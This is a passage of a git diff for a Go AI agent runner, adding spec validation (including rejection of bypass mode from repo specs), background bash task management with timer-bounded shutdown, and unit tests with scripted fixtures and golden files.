+ return fail("tools", fmt.Sprintf("unknown tool %q (known: %v)", name, tool.Names())) + } + } + + if s.Budget.MaxTotalTokens < 0 { + return fail("budget.max_total_tokens", "must be non-negative") + } + if s.Mode != "" && !pipeline.ValidMode(s.Mode) { + return fail("mode", fmt.Sprintf("unknown mode %q (known: default, plan, acceptEdits, bypass)", s.Mode)) + } + if s.Mode == pipeline.ModeBypass { + // bypass disables permission/budget; it may only be chosen at the + // workstation via --mode, never from a spec shipped in a repo. + return fail("mode", "bypass cannot be set from a spec; use --mode bypass on the command line") + } + + if s.MaxTurns < 0 { + return fail("max_turns", "must be positive") + } + switch s.OnRunEnd { + case "", "cancel", "await": + default: + return fail("on_run_end", fmt.Sprintf("unknown value %q (known: cancel, await)", s.OnRunEnd)) + } + if s.AwaitTimeout != "" { + if d, err := time.ParseDuration(s.AwaitTimeout); err != nil || d <= 0 { + return fail("await_timeout", fmt.Sprintf("not a positive Go duration: %q", s.AwaitTimeout)) + } + } + return nil +} + +// defaultAwaitTimeout bounds the await quiesce when the spec is silent. +const defaultAwaitTimeout = 30 * time.Minute + +// awaitTimeout is the effective quiesce bound (validated at load). +func (s *AgentSpec) awaitTimeout() time.Duration { + if s == nil || s.AwaitTimeout == "" { + return defaultAwaitTimeout + } + d, err := time.ParseDuration(s.AwaitTimeout) + if err != nil || d <= 0 { + return defaultAwaitTimeout + } + return d +} diff --git a/internal/agent/spec_test.go b/internal/agent/spec_test.go new file mode 100644 index 0000000..e5c8c81 --- /dev/null +++ b/internal/agent/spec_test.go @@ -0,0 +1,91 @@ +package agent + +import ( + "flag" + "os" + "path/filepath" + "strings" + "testing" +) + +var update = flag.Bool("update", false, "rewrite golden files") + +func TestLoadSpecErrors(t *testing.T) { + files, err := filepath.Glob("testdata/spec_errors/*.yaml") + if err != nil { + t.Fatal(err) + } + if len(files) == 0 { + t.Fatal("no error cases found") + } + for _, f := range files { + name := strings.TrimSuffix(filepath.Base(f), ".yaml") + t.Run(name, func(t *testing.T) { + _, err := LoadSpec(f) + if err == nil { + t.Fatal("expected error, got nil") + } + golden := filepath.Join("testdata", "spec_errors", name+".golden") + got := err.Error() + "\n" + if *update { + if werr := os.WriteFile(golden, []byte(got), 0o644); werr != nil { + t.Fatal(werr) + } + } + want, rerr := os.ReadFile(golden) + if rerr != nil { + t.Fatalf("missing golden (run with -update): %v", rerr) + } + if got != string(want) { + t.Errorf("error mismatch\n got: %q\nwant: %q", got, string(want)) + } + }) + } +} + +func TestLoadSpecValid(t *testing.T) { + spec, err := LoadSpec("testdata/valid.yaml") + if err != nil { + t.Fatal(err) + } + if spec.Name != "hello" { + t.Errorf("name = %q", spec.Name) + } + if spec.Model.Provider != "gemini" || spec.Model.ID != "gemini-flash-latest" { + t.Errorf("model = %+v", spec.Model) + } + if spec.MaxTurns != DefaultMaxTurns { + t.Errorf("max_turns default = %d, want %d", spec.MaxTurns, DefaultMaxTurns) + } + if spec.Model.MaxTokens != DefaultMaxTokens { + t.Errorf("max_tokens default = %d, want %d", spec.Model.MaxTokens, DefaultMaxTokens) + } + if len(spec.Tools) != 3 { + t.Errorf("tools = %v", spec.Tools) + } +} + +func TestLoadSpecPromptFile(t *testing.T) { + spec, err := LoadSpec("testdata/valid_file.yaml") + if err != nil { + t.Fatal(err) + } + if want := "You are a test agent.\n"; spec.SystemPrompt != want { + t.Errorf("resolved prompt = %q, want %q", spec.SystemPrompt, want) + } + if spec.SystemPromptFile != "" { + t.Errorf("SystemPromptFile should be cleared after resolution, got %q", spec.SystemPromptFile) + } +} + +func TestSpecRejectsBypassMode(t *testing.T) { + dir := t.TempDir() + path := dir + "/spec.yaml" + if err := os.WriteFile(path, []byte("name: x\nmodel: {provider: scripted, id: y}\nsystem_prompt: hi\nmode: bypass\n"), 0o644); err != nil { + t.Fatal(err) + } + _, err := LoadSpec(path) + if err == nil || !strings.Contains(err.Error(), "bypass cannot be set from a spec") { + t.Fatalf("err = %v, want spec-bypass rejection", err) + } +} diff --git a/internal/agent/stream_test.go b/internal/agent/stream_test.go new file mode 100644 index 0000000..d3ce1ac --- /dev/null +++ b/internal/agent/stream_test.go @@ -0,0 +1,147 @@ +package agent + +import ( + "context" + "iter" + "os" + "path/filepath" + "strings" + "sync" + "testing" + + "github.com/ralphite/agentrunner/internal/clock" + "github.com/ralphite/agentrunner/internal/errs" + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/protocol" + "github.com/ralphite/agentrunner/internal/provider" + "github.com/ralphite/agentrunner/internal/provider/scripted" + "github.com/ralphite/agentrunner/internal/state" + "github.com/ralphite/agentrunner/internal/store" +) + +type captureSink struct { + mu sync.Mutex + events []protocol.Event +} + +func (c *captureSink) Emit(e protocol.Event) { + c.mu.Lock() + defer c.mu.Unlock() + c.events = append(c.events, e) +} + +func (c *captureSink) kinds() []string { + c.mu.Lock() + defer c.mu.Unlock() + var out []string + for _, e := range c.events { + out = append(out, string(e.Kind)) + } + return out +} + +// S4.1: assistant text streams as deltas (ephemeral) and the assembled +// message follows; tool call/result surface too. +func TestStreamingDeltasAndProtocol(t *testing.T) { + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {Text: "let me "}, {Text: "read that"}, + {ToolCall: &scripted.ToolCallEvent{Name: "read_file", Args: map[string]any{"path": "greet.txt"}}}, + {Finish: "tool_use"}, + }}, + {Respond: []scripted.Event{{Text: "done"}, {Finish: "end_turn"}}}, + }} + root := t.TempDir() + if err := os.WriteFile(filepath.Join(root, "greet.txt"), []byte("hi"), 0o644); err != nil { + t.Fatal(err) + } + l := testLoop(t, fix, root) + sink := &captureSink{} + l.Out = sink + + if _, err := l.Run(context.Background(), "read the greeting"); err != nil { + t.Fatal(err) + } + + kinds := strings.Join(sink.kinds(), ",") + for _, want := range []string{"run_start", "turn_start", "text_delta", "tool_call", "tool_result", "message", "run_end"} { + if !strings.Contains(kinds, want) { + t.Errorf("protocol stream missing %q: %s", want, kinds) + } + } + + // Turn 1 streamed two deltas ("let me ", "read that") before its message. + var t1deltas []string + for _, e := range sink.events { + if e.Kind == protocol.KindTextDelta && e.Turn == 1 { + t1deltas = append(t1deltas, e.Text) + } + } + if len(t1deltas) != 2 || t1deltas[0] != "let me " || t1deltas[1] != "read that" { + t.Fatalf("turn-1 deltas = %v", t1deltas) + } +} + +// retryStreamProvider streams a delta then errs on attempt 1 (retryable), +// and succeeds on attempt 2 — exercising the TurnDiscarded seam. +type retryStreamProvider struct{ attempt int } + +func (p *retryStreamProvider) Capabilities() provider.Capabilities { return provider.Capabilities{} } +func (p *retryStreamProvider) Complete(_ context.Context, _ provider.CompleteRequest) iter.Seq2[provider.StreamEvent, error] { + return func(yield func(provider.StreamEvent, error) bool) { + p.attempt++ + if p.attempt == 1 { + yield(provider.StreamEvent{Kind: provider.EventTextDelta, TextDelta: "partial..."}, nil) + yield(provider.StreamEvent{}, errs.New(errs.ProviderServer, "503")) + return + } + yield(provider.StreamEvent{Kind: provider.EventTextDelta, TextDelta: "final answer"}, nil) + yield(provider.StreamEvent{Kind: provider.EventFinish, Finish: provider.FinishEndTurn}, nil) + } +} + +// S4.1: an LLM retry after deltas already streamed emits a TurnDiscarded +// event (durable) and a discard protocol event (surface reopen signal). +func TestTurnDiscardedOnPartialStreamRetry(t *testing.T) { + root := t.TempDir() + l := testLoop(t, scripted.Fixture{}, root) + l.Provider = &retryStreamProvider{} + l.Clock = clock.Real{} // real backoff (one ~1s wait) — FakeClock would block + sink := &captureSink{} + l.Out = sink + + res, err := l.Run(context.Background(), "answer me") + if err != nil { + t.Fatal(err) + } + if res.Reason != "completed" { + t.Fatalf("res = %+v", res) + } + + // The discarded partial and the final both streamed; a discard sits between. + kinds := strings.Join(sink.kinds(), ",") + if !strings.Contains(kinds, "text_delta,discard,text_delta") { + t.Fatalf("expected partial→discard→final, got %s", kinds) + } + + // TurnDiscarded is durable in the log. + events, err := store.ReadEvents(l.Store.Dir()) + if err != nil { + t.Fatal(err) + } + var sawDiscard bool + for _, e := range events { + if e.Type == event.TypeTurnDiscarded { + sawDiscard = true + } + } + if !sawDiscard { + t.Fatal("turn_discarded not journaled") + } + // The final assembled message is the clean one (no "partial..."). + final, _ := state.Fold(events) + last := final.Conversation.Messages[len(final.Conversation.Messages)-1] + if last.Parts[0].Text != "final answer" { + t.Fatalf("final message = %q", last.Parts[0].Text) + } +} diff --git a/internal/agent/task.go b/internal/agent/task.go new file mode 100644 index 0000000..1d1651c --- /dev/null +++ b/internal/agent/task.go @@ -0,0 +1,294 @@ +package agent + +import ( + "context" + "encoding/json" + "sync" + + "github.com/ralphite/agentrunner/internal/errs" + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/protocol" + "github.com/ralphite/agentrunner/internal/redact" + "github.com/ralphite/agentrunner/internal/state" + "github.com/ralphite/agentrunner/internal/tool" +) + +// bgOutcome is one background task's terminal report, produced on the task +// goroutine and SETTLED (journaled) only on the drive goroutine — the fold +// stays single-writer; the channel is the sole crossing point (S6.1). +type bgOutcome struct { + taskID string + activityID string + result json.RawMessage + isError bool + err error + canceled bool +} + +// bgRuntime is the loop's ephemeral background-task machinery. Runtime +// state only: the DURABLE truth is the tasks sub-state folded from +// ActivityStarted{Background} and the terminal events. +type bgRuntime struct { + mu sync.Mutex + cancel map[string]context.CancelFunc + done chan bgOutcome +} + +func (l *Loop) ensureBackground() { + if l.bg == nil { + l.bg = &bgRuntime{cancel: map[string]context.CancelFunc{}, done: make(chan bgOutcome, 64)} + } +} + +// isBackgroundCall reports whether a tool call asks for task-style +// execution (S6.1): bash with args.background == true. Only bash supports +// it today — the schema advertises the flag there and nowhere else. +func isBackgroundCall(name string, rawArgs json.RawMessage) bool { + if name != "bash" { + return false + } + var args struct { + Background bool `json:"background"` + } + _ = json.Unmarshal(rawArgs, &args) + return args.Background +} + +// launchBackground journals ActivityStarted{Background} (the fold pairs the +// call with its handle and adds the task) and starts the task goroutine. +// Runs on the drive goroutine; appendE may be the batch-serialized appender. +func (l *Loop) launchBackground(ctx context.Context, appendE AppendFunc, + callID, name string, args json.RawMessage) error { + + l.ensureBackground() + activityID := "tool-" + callID + if _, err := appendE(event.TypeActivityStarted, &event.ActivityStarted{ + ActivityID: activityID, Kind: event.KindTool, Name: name, + Args: redact.FromEnv().JSON(args), CallID: callID, + Attempt: 1, Background: true, + }); err != nil { + return err + } + taskCtx, cancel := context.WithCancel(ctx) + l.bg.mu.Lock() + l.bg.cancel[callID] = cancel + l.bg.mu.Unlock() + + go func() { + res := l.Exec.Execute(taskCtx, name, args) + l.bg.done <- bgOutcome{ + taskID: callID, activityID: activityID, + result: res.Payload, isError: res.IsError, + canceled: taskCtx.Err() != nil, + } + }() + return nil +} + +// drainBackground settles every already-finished task without blocking. +// Drive-goroutine only. +func (l *Loop) drainBackground(appendE AppendFunc) error { + if l.bg == nil { + return nil + } + for { + select { + case out := <-l.bg.done: + if err := l.settleBackground(appendE, out); err != nil { + return err + } + default: + return nil + } + } +} + +// awaitBackground blocks until ONE task finishes (or an interrupt/cancel), +// then settles it, returning the WaitingResolved resolution (WaitRules +// vocabulary). The WAITING_TASKS park (2.14): no pending calls, no new +// input, tasks in flight. An interrupt cancels every task — the user wants +// the run back; the cancellations settle through the same channel. +func (l *Loop) awaitBackground(ctx context.Context, appendE AppendFunc, turn int) (string, error) { + l.ensureBackground() + select { + case out := <-l.bg.done: + return "tasks_done", l.settleBackground(appendE, out) + case <-l.Interrupts: + if err := l.onSteeringInterrupt(appendE, turn); err != nil { + return "", err + } + l.cancelAllBackground() + // re-decide: tasks still nonempty → park again → drain the cancellations + return "tasks_cancelled_by_interrupt", nil + case <-ctx.Done(): + return "", context.Cause(ctx) + } +} + +// settleBackground journals a finished task's terminal event; the fold +// removes it from tasks and renders the outcome as a user-role input. +func (l *Loop) settleBackground(appendE AppendFunc, out bgOutcome) error { + l.bg.mu.Lock() + delete(l.bg.cancel, out.taskID) + l.bg.mu.Unlock() + + switch { + case out.canceled: + _, err := appendE(event.TypeActivityCancelled, &event.ActivityCancelled{ + ActivityID: out.activityID, + PartialOutput: string(redact.FromEnv().JSON(out.result)), + }) + return err + case out.err != nil: + class := errs.ClassOf(out.err) + _, err := appendE(event.TypeActivityFailed, &event.ActivityFailed{ + ActivityID: out.activityID, Attempt: 1, Final: true, + Error: event.ErrorInfo{Class: string(class), + Message: redact.FromEnv().String(out.err.Error())}, + }) + return err + default: + _, err := appendE(event.TypeActivityCompleted, &event.ActivityCompleted{ + ActivityID: out.activityID, + Result: redact.FromEnv().JSON(out.result), + IsError: out.isError, + }) + if err == nil { + l.emit(protocol.Event{Kind: protocol.KindToolResult, + Tool: "task", CallID: out.taskID, + Result: compact(out.result), IsError: out.isError}) + } + return err + } +} + +// cancelAllBackground fires every live task's cancel; terminals settle +// through the done channel. +func (l *Loop) cancelAllBackground() { + if l.bg == nil { + return + } + l.bg.mu.Lock() + defer l.bg.mu.Unlock() + for _, cancel := range l.bg.cancel { + cancel() + } +} + +// quiesceTasks fills the epilogue quiesce slot (S6.1, 钩子 2): at a run +// ending, still-running background tasks are awaited or cancelled per the +// spec's on_run_end (default cancel), and every terminal settles BEFORE the +// terminal RunEnded — the log never ends with tasks in flight. The await +// wait is BOUNDED by a durable timer (S7 还债, DESIGN: await 必有 durable +// timer 兜底): the TimerSet fact makes a crashed-while-awaiting session +// visible to the daemon sweep, and an expired timer cancels the stragglers +// instead of awaiting forever. +func quiesceTasks(ctx context.Context, l *Loop, ds *driveState, + appendE AppendFunc, _ *string) error { + + if l.bg == nil || len(ds.s.Tasks) == 0 { + return nil + } + await := l.Spec != nil && l.Spec.OnRunEnd == "await" + if !await { + l.cancelAllBackground() + } + var timeoutCh chan struct{} + const timerID = "tm-await-quiesce" + if await { + fireAt := l.Clock.Now().Add(l.Spec.awaitTimeout()) + if _, err := appendE(event.TypeTimerSet, &event.TimerSet{ + TimerID: timerID, FireAt: fireAt, Purpose: "await_quiesce", + }); err != nil { + return err + } + timeoutCh = make(chan struct{}) + tctx, tcancel := context.WithCancel(ctx) + defer tcancel() + go func() { + if l.Clock.WaitUntil(tctx, fireAt) == nil { + close(timeoutCh) + } + }() + } + fired := false + for len(ds.s.Tasks) > 0 { + select { + case out := <-l.bg.done: + if err := l.settleBackground(appendE, out); err != nil { + return err + } + case <-timeoutCh: + // The await bound expired: journal the firing, cancel what is + // left, and keep draining — the cancellations settle normally. + if _, err := appendE(event.TypeTimerFired, &event.TimerFired{TimerID: timerID}); err != nil { + return err + } + fired = true + timeoutCh = nil + l.cancelAllBackground() + case <-ctx.Done(): + // Hard cancel while quiescing: cancel everything, then BLOCK on + // the next report — the killed tasks always report (killGroup + // guarantees bash exits), and a default-branch here would spin + // the CPU until they do (S6 review). + l.cancelAllBackground() + out := <-l.bg.done + if err := l.settleBackground(appendE, out); err != nil { + return err + } + } + } + if await && !fired { + if _, err := appendE(event.TypeTimerCancelled, &event.TimerCancelled{TimerID: timerID}); err != nil { + return err + } + } + return nil +} + +// runTaskTool executes task_output / task_kill against a fold snapshot of +// the task set (taken on the drive goroutine — the closure runs on an +// activity goroutine). Model-visible in every failure mode. +func (l *Loop) runTaskTool(tasks state.Tasks, name string, rawArgs json.RawMessage) tool.Result { + var args struct { + TaskID string `json:"task_id"` + } + if err := json.Unmarshal(rawArgs, &args); err != nil || args.TaskID == "" { + return errorResult(name + ": invalid args: need {\"task_id\"}") + } + if _, running := tasks[args.TaskID]; !running { + return errorResult(name + ": no running task " + args.TaskID + + " (a finished task's result arrived as a message)") + } + switch name { + case "task_output": + // v0: bash collects output at completion — the honest answer for a + // running task is its status. A live tail arrives with streaming + // tools (记档: 2.10 进度通道对 bash 未接). + payload, _ := json.Marshal(map[string]string{ + "task_id": args.TaskID, "status": "running", + "note": "output arrives as a message when the task finishes", + }) + return tool.Result{Payload: payload} + case "task_kill": + l.bg.mu.Lock() + cancel, ok := l.bg.cancel[args.TaskID] + l.bg.mu.Unlock() + if ok { + cancel() + } + payload, _ := json.Marshal(map[string]string{ + "task_id": args.TaskID, "status": "cancelling", + "note": "the cancellation notice arrives as a message", + }) + return tool.Result{Payload: payload} + default: + return errorResult("unknown task tool " + name) + } +} + +// isTaskTool reports the task-management tools (advertised alongside bash). +func isTaskTool(name string) bool { + return name == "task_output" || name == "task_kill" +} diff --git a/internal/agent/task_test.go b/internal/agent/task_test.go new file mode 100644 index 0000000..8a2c31d --- /dev/null +++ b/internal/agent/task_test.go @@ -0,0 +1,348 @@ +package agent + +import ( + "context" + "strings" + "testing" + "time" + + "github.com/ralphite/agentrunner/internal/clock" + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/provider/scripted" + "github.com/ralphite/agentrunner/internal/state" + "github.com/ralphite/agentrunner/internal/store" +) + +// S6.1 e2e: a background bash pairs with a handle immediately (turn 1 +// continues without blocking), its result arrives as a user-role message, +// and the model sees it on a later turn. +func TestBackgroundTaskHandleAndOutcome(t *testing.T) { + fix := scripted.Fixture{Steps: []scripted.Step{ + // Turn 1: launch a background task, then keep working (text) — proves + // the handle paired without blocking on the sleep. + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "bg1", Name: "bash", + Args: map[string]any{"command": "sleep 0.2; echo done-work", "background": true}}}, + {Finish: "tool_use"}, + }}, + // Turn 2: model acknowledges the handle (the task is still running or + // just finished) and yields with text; the loop then parks on the + // task (WAITING_TASKS) if it hasn't settled. + { + Expect: scripted.Expect{LastMessageContains: "task_id"}, + Respond: []scripted.Event{{Text: "started it, waiting"}, {Finish: "end_turn"}}, + }, + // Turn 3: the task outcome has arrived as a user message; wrap up. + { + Expect: scripted.Expect{LastMessageContains: "done-work"}, + Respond: []scripted.Event{{Text: "task finished, all done"}, {Finish: "end_turn"}}, + }, + }} + l := testLoop(t, fix, t.TempDir()) + l.Spec.OnRunEnd = "await" // stay alive for the task so its outcome feeds back + + res, err := l.Run(context.Background(), "run a background job") + if err != nil { + t.Fatal(err) + } + if res.Reason != "completed" { + t.Fatalf("res = %+v", res) + } + + events, err := store.ReadEvents(l.Store.Dir()) + if err != nil { + t.Fatal(err) + } + // The Started fact is Background; the Completed settles it. + var sawBgStart, sawComplete bool + for _, e := range events { + if e.Type == event.TypeActivityStarted && strings.Contains(string(e.Payload), `"background":true`) { + sawBgStart = true + } + if e.Type == event.TypeActivityCompleted && strings.Contains(string(e.Payload), "tool-bg1") { + sawComplete = true + } + } + if !sawBgStart || !sawComplete { + t.Fatalf("bg start=%v complete=%v", sawBgStart, sawComplete) + } + + fold, err := state.Fold(events) + if err != nil { + t.Fatal(err) + } + // The task drained out of the tasks sub-state at the end. + if len(fold.Run.Env) == 0 && len(fold.Tasks) != 0 { + t.Errorf("tasks not drained: %+v", fold.Tasks) + } + if len(fold.Tasks) != 0 { + t.Errorf("tasks sub-state not empty at end: %+v", fold.Tasks) + } + // The handle paired the call, and the outcome is a user message. + tr := fold.Conversation.ToolResults["bg1"] + if !strings.Contains(string(tr.Result), "running") { + t.Errorf("handle = %s, want running status", tr.Result) + } + var sawOutcome bool + for _, m := range fold.Conversation.Messages { + for _, p := range m.Parts { + if strings.Contains(p.Text, "background task bg1 completed") && + strings.Contains(p.Text, "done-work") { + sawOutcome = true + } + } + } + if !sawOutcome { + t.Error("task outcome did not arrive as a user-role message") + } +} + +// S6.1: on_run_end default (cancel) — a run ending with a task still +// running cancels it in the epilogue quiesce slot; the log ends clean. +func TestBackgroundTaskCancelledAtRunEnd(t *testing.T) { + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "bg1", Name: "bash", + Args: map[string]any{"command": "sleep 30; echo never", "background": true}}}, + {Finish: "tool_use"}, + }}, + // The model ends the run immediately — the task is still sleeping. + {Respond: []scripted.Event{{Text: "not waiting for it"}, {Finish: "end_turn"}}}, + }} + l := testLoop(t, fix, t.TempDir()) + l.Spec.OnRunEnd = "" // default = cancel + + res, err := l.Run(context.Background(), "fire and forget") + if err != nil { + t.Fatal(err) + } + if res.Reason != "completed" { + t.Fatalf("res = %+v", res) + } + events, err := store.ReadEvents(l.Store.Dir()) + if err != nil { + t.Fatal(err) + } + // The task was cancelled (quiesce slot) and settled BEFORE run_ended. + var cancelSeq, endSeq int64 + for _, e := range events { + if e.Type == event.TypeActivityCancelled && strings.Contains(string(e.Payload), "tool-bg1") { + cancelSeq = e.Seq + } + if e.Type == event.TypeRunEnded { + endSeq = e.Seq + } + } + if cancelSeq == 0 || endSeq == 0 || cancelSeq > endSeq { + t.Fatalf("task must be cancelled (seq %d) before run_ended (seq %d)", cancelSeq, endSeq) + } + fold, _ := state.Fold(events) + if len(fold.Tasks) != 0 { + t.Errorf("tasks not quiesced at end: %+v", fold.Tasks) + } +} + +// S7 还债: the epilogue's await quiesce is BOUNDED by a durable timer — a +// task that outlives await_timeout is cancelled when the timer fires, and +// the whole story (timer_set → timer_fired → activity_cancelled → run_ended) +// is journaled in order. +func TestAwaitQuiesceTimerBound(t *testing.T) { + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "bg1", Name: "bash", + Args: map[string]any{"command": "sleep 30; echo never", "background": true}}}, + {Finish: "tool_use"}, + }}, + }} + l := testLoop(t, fix, t.TempDir()) + l.Spec.OnRunEnd = "await" + l.Spec.AwaitTimeout = "1m" + l.Spec.MaxTurns = 1 // forced ending → epilogue quiesce owns the await + + clk := l.Clock.(*clock.Fake) + resCh := make(chan RunResult, 1) + go func() { + res, err := l.Run(context.Background(), "fire and outlive") + if err != nil { + t.Errorf("run: %v", err) + } + resCh <- res + }() + + // The quiesce parks on the await timer; advancing past it fires the + // bound and cancels the straggler. + deadline := time.Now().Add(5 * time.Second) + for clk.Waiters() == 0 && time.Now().Before(deadline) { + time.Sleep(2 * time.Millisecond) + } + if clk.Waiters() == 0 { + t.Fatal("quiesce never armed the await timer") + } + clk.Advance(time.Minute) + + select { + case res := <-resCh: + if res.Reason != "max_turns" { + t.Fatalf("res = %+v", res) + } + case <-time.After(10 * time.Second): + t.Fatal("run did not end after the await timer fired") + } + events, _ := store.ReadEvents(l.Store.Dir()) + var setSeq, firedSeq, cancelledSeq, endSeq int64 + for _, e := range events { + switch e.Type { + case event.TypeTimerSet: + if strings.Contains(string(e.Payload), "await_quiesce") { + setSeq = e.Seq + } + case event.TypeTimerFired: + if strings.Contains(string(e.Payload), "tm-await-quiesce") { + firedSeq = e.Seq + } + case event.TypeActivityCancelled: + if strings.Contains(string(e.Payload), "tool-bg1") { + cancelledSeq = e.Seq + } + case event.TypeRunEnded: + endSeq = e.Seq + } + } + if setSeq == 0 || firedSeq <= setSeq || cancelledSeq <= firedSeq || endSeq <= cancelledSeq { + t.Fatalf("order = set %d, fired %d, cancelled %d, end %d — want strictly increasing", + setSeq, firedSeq, cancelledSeq, endSeq) + } +} + +// S7 还债: a task that finishes INSIDE the await bound cancels the timer — +// the log closes clean, no pending timer survives the run. +func TestAwaitQuiesceTimerCancelledOnFinish(t *testing.T) { + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "bg1", Name: "bash", + Args: map[string]any{"command": "sleep 0.2; echo done-fast", "background": true}}}, + {Finish: "tool_use"}, + }}, + }} + l := testLoop(t, fix, t.TempDir()) + l.Spec.OnRunEnd = "await" + l.Spec.MaxTurns = 1 + + if _, err := l.Run(context.Background(), "quick task"); err != nil { + t.Fatal(err) + } + events, _ := store.ReadEvents(l.Store.Dir()) + var sawCancelledTimer bool + for _, e := range events { + if e.Type == event.TypeTimerCancelled && strings.Contains(string(e.Payload), "tm-await-quiesce") { + sawCancelledTimer = true + } + } + if !sawCancelledTimer { + t.Fatal("the await timer must be cancelled when tasks finish in time") + } + fold, err := state.Fold(events) + if err != nil { + t.Fatal(err) + } + if len(fold.Timers) != 0 { + t.Fatalf("pending timers at end: %+v", fold.Timers) + } +} + +// S6.1: task_kill cancels a running task; the cancellation lands as a +// message and the tasks set empties. +func TestTaskKill(t *testing.T) { + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "bg1", Name: "bash", + Args: map[string]any{"command": "sleep 30", "background": true}}}, + {Finish: "tool_use"}, + }}, + // Turn 2: kill it. + { + Expect: scripted.Expect{LastMessageContains: "task_id"}, + Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "k1", Name: "task_kill", + Args: map[string]any{"task_id": "bg1"}}}, + {Finish: "tool_use"}, + }, + }, + // Turn 3: the cancellation arrived as a message; done. + { + Expect: scripted.Expect{LastMessageContains: "canceled"}, + Respond: []scripted.Event{{Text: "killed it"}, {Finish: "end_turn"}}, + }, + }} + l := testLoop(t, fix, t.TempDir()) + + res, err := l.Run(context.Background(), "start then kill") + if err != nil { + t.Fatal(err) + } + if res.Reason != "completed" { + t.Fatalf("res = %+v", res) + } + events, _ := store.ReadEvents(l.Store.Dir()) + fold, err := state.Fold(events) + if err != nil { + t.Fatal(err) + } + if len(fold.Tasks) != 0 { + t.Errorf("task not removed after kill: %+v", fold.Tasks) + } + // The kill tool paired normally; the cancellation is a user message. + kr := fold.Conversation.ToolResults["k1"] + if !strings.Contains(string(kr.Result), "cancelling") { + t.Errorf("task_kill result = %s", kr.Result) + } +} + +// S6.1: on_run_end=await lets a still-running task FINISH before the run +// ends — its real output settles AND feeds back to the model as a user-role +// input that earns one more turn (S6 review: the outcome must actually +// reach the model, and the park is an explicit journaled waiting state). +func TestBackgroundTaskAwaitAtRunEnd(t *testing.T) { + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "bg1", Name: "bash", + Args: map[string]any{"command": "sleep 0.2; echo awaited-output", "background": true}}}, + {Finish: "tool_use"}, + }}, + {Respond: []scripted.Event{{Text: "ending now, but await the task"}, {Finish: "end_turn"}}}, + // The awaited outcome arrived as a user message → one more turn. + { + Expect: scripted.Expect{LastMessageContains: "awaited-output"}, + Respond: []scripted.Event{{Text: "saw the result, done"}, {Finish: "end_turn"}}, + }, + }} + l := testLoop(t, fix, t.TempDir()) + l.Spec.OnRunEnd = "await" + + res, err := l.Run(context.Background(), "await on end") + if err != nil { + t.Fatal(err) + } + if res.Turns != 3 { + t.Fatalf("turns = %d, want 3 (the outcome earned a turn)", res.Turns) + } + events, _ := store.ReadEvents(l.Store.Dir()) + var sawCompleteWithOutput, sawWaitEntered, sawWaitResolved bool + for _, e := range events { + if e.Type == event.TypeActivityCompleted && strings.Contains(string(e.Payload), "awaited-output") { + sawCompleteWithOutput = true + } + if e.Type == event.TypeWaitingEntered && strings.Contains(string(e.Payload), `"tasks"`) { + sawWaitEntered = true + } + if e.Type == event.TypeWaitingResolved && strings.Contains(string(e.Payload), "tasks_done") { + sawWaitResolved = true + } + } + if !sawCompleteWithOutput { + t.Error("await must let the task finish with real output, not cancel it") + } + if !sawWaitEntered || !sawWaitResolved { + t.Errorf("WAITING_TASKS park must be journaled: entered=%v resolved=%v", sawWaitEntered, sawWaitResolved) + } +} diff --git a/internal/agent/testdata/prompt.md b/internal/agent/testdata/prompt.md new file mode 100644 index 0000000..10edacf --- /dev/null +++ b/internal/agent/testdata/prompt.md @@ -0,0 +1 @@ +You are a test agent. diff --git a/internal/agent/testdata/request_assembly.golden b/internal/agent/testdata/request_assembly.golden new file mode 100644 index 0000000..bbdc5d5 --- /dev/null +++ b/internal/agent/testdata/request_assembly.golden @@ -0,0 +1,93 @@ +[ + { + "max_tokens": 256, + "messages": [ + { + "role": "user", + "parts": [ + { + "kind": "text", + "text": "make it loud" + } + ] + } + ], + "model": "model-x", + "system": "\u003cenv\u003eNORMALIZED\u003c/env\u003e\n\nbe precise", + "tools": [ + "read_file", + "edit_file" + ], + "turn": 1 + }, + { + "max_tokens": 256, + "messages": [ + { + "role": "user", + "parts": [ + { + "kind": "text", + "text": "make it loud" + } + ] + }, + { + "role": "assistant", + "parts": [ + { + "kind": "text", + "text": "reading then editing" + }, + { + "kind": "tool_call", + "call_id": "call_1_0", + "tool_name": "read_file", + "args": { + "path": "notes.txt" + } + }, + { + "kind": "tool_call", + "call_id": "call_1_1", + "tool_name": "edit_file", + "args": { + "new": "HELLO WORLD", + "old": "hello world", + "path": "greet.txt" + } + } + ] + }, + { + "role": "tool", + "parts": [ + { + "kind": "tool_result", + "call_id": "call_1_0", + "tool_name": "read_file", + "result": { + "content": "just notes", + "truncated": false + } + }, + { + "kind": "tool_result", + "call_id": "call_1_1", + "tool_name": "edit_file", + "result": { + "output": "edited greet.txt" + } + } + ] + } + ], + "model": "model-x", + "system": "\u003cenv\u003eNORMALIZED\u003c/env\u003e\n\nbe precise", + "tools": [ + "read_file", + "edit_file" + ], + "turn": 2 + } +] diff --git a/internal/agent/testdata/spec_errors/bad_max_turns.golden b/internal/agent/testdata/spec_errors/bad_max_turns.golden new file mode 100644 index 0000000..3ccd113 --- /dev/null +++ b/internal/agent/testdata/spec_errors/bad_max_turns.golden @@ -0,0 +1 @@ +spec testdata/spec_errors/bad_max_turns.yaml: field max_turns: must be positive diff --git a/internal/agent/testdata/spec_errors/bad_max_turns.yaml b/internal/agent/testdata/spec_errors/bad_max_turns.yaml new file mode 100644 index 0000000..d58d77b --- /dev/null +++ b/internal/agent/testdata/spec_errors/bad_max_turns.yaml @@ -0,0 +1,4 @@ +name: x +model: { provider: gemini, id: gemini-flash-latest } +system_prompt: hi +max_turns: -1 diff --git 